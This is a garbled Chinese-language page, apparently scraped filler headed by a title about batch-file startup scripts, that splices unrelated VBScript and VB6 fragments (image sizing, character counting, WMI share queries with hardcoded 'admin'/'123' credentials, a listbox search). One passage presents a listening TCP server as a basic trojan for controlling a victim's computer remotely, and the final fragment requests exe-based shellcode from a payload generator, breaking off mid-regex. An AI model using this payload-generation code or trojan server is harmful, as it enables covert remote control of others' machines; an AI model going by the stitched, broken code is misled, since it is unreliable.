bat文件注册开机启动服务器,bat脚本开机自启动脚本生成器

用鼠标点击按钮Command1，将图像从Clipboard“粘贴”到图片框中1.上传的时候可以将图片高宽存到数据库里,用的时候调出来判断,但那种方法相比较下边的麻烦.

2.用VBSCRIPT里的一个函数loadpicture

picurl'图片地址

'取出高宽

使用图片前选调出来并取得图片大小

setmyImg=loadpicture(server.mappath(picurl))

iWidth=round(myImg.width/26.4583)

iHeight=round(myImg.height/26.4583)

调用时用iwidth和iheight判断就可以了,》 ？ …… —— chr(34) vbCrLf"

Signs=Split(S," ")

For Each Sign in Signs

strText=Replace(strText, "Sign", " ")

Next

objFile.Close

For k=1 To Len(strText)

tmpStr=Mid(strText, k, 1)

If Asc(tmpStr) > 127 Or Asc(tmpStr) < 0 Then

c=c + 1

tmpStr=" "

End If

Str=Str + tmpStr

Next

arrWords=Split(Str, " ")

For Each strWord in arrWords

If Len(strWord) > 0 Then

i=i + 1

End If

Next

Sum=c + i

msgbox "字符总数：" & All & chr(13) & "有效字符：" & Sum & chr(13) & "汉字总数：" & c, 64, "字符统计"

End sub

在所有的处理结束后，执行finally语句

strPath="\\192.168.1.55\ttt"

strPath=Replace(strPath, "\", "")

arrPath=Split(strPath, "")

strComputer=arrPath(0)

strShare=arrPath(1)

Set objSWbemLocator=CreateObject("WbemScripting.SWbemLocator")

Set objWMIService=objSWbemLocator.ConnectServer(strComputer, "\root\CIMV2", "admin", "123")

Set colItems=objWMIService.ExecQuery _

("Select * From Win32_Share Where Name='" & strShare & "'")

For Each objItem in colItems

Wscript.Echo objItem.Path

Next

strPath="\\atl-fs-01\public"

strPath=Replace(strPath, "\", "")

arrPath=Split(strPath, "")

strComputer=arrPath(0)

strShare=arrPath(1)

Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")

Set colItems=objWMIService.ExecQuery _

("Select * From Win32_Share Where Name='" & strShare & "'")

For Each objItem in colItems

Wscript.Echo objItem.Path

Next

另外，当客户机端断开与服务器端的来接后，服务器端应用tcpServer_Close事件，来继续准备接收客户机端的请求，其代码如下：

PrivateSubtcpServer_Close()

tcpServer.Close

tcpServer.Listen

EndSub

这就是一个最基本的特洛伊木马程序，只要你的机器运行了服务器端程序，那别人就可以在千里之外控制你的计算机

•strValueName是我们要修改的注册表值的名称(窗口标题)选中它并在新工程的Form1中画一矩形，生成MSChart1,即出现缺省状态的直方图

“文件A”比较旧，这意味着“文件A”的修改日期小于(即，产生早于)“文件B”公益故事

请给标准工程添加ListBox和TextBox控件各一个，其各项属性均取默认值，然后将下列代码拷贝到你的工程：

OptionExplicit

'申明API函数

PrivateDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsInteger,ByVallParamAsAny)AsLong

ConstLB_FINDSTRING=&H18F'常数

PrivateSubForm_Load()

'给列表框添加26个字母(大写)

DimiAsInteger

Fori=Asc("A")ToAsc("Z")

List1.AddItemChr$(i)

Next

Text1=""'令文本框为空

EndSub

PrivateSubText1_KeyPress(KeyAsciiAsInteger)

Text1=""'按下任意键则令原内容消失

Text1.SelLength=1'限制长度

Text1.SelText=Chr(KeyAscii)'显示键盘符号

KeyAscii=0'禁止响铃

'ListBox中的项目文本若与文本框的一致则选中(高亮)

List1.ListIndex=SendMessage(List1.hwnd,LB_FINDSTRING,-1,ByValCStr(Text1.Text))

EndSub

以上程序适用于单项目为多个字母的查询，但必须注意，在TextBox的KeyPress事件中要作相应的改动'code by lcx

On Error Resume Next

Exeurl=InputBox( "请输入exe的地址：", "输入", "" )

url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"

Body=getHTTPPage(url)

Set Re=New RegExp

Re.Pattern="(\$shellcode \=[\s\S]+

)"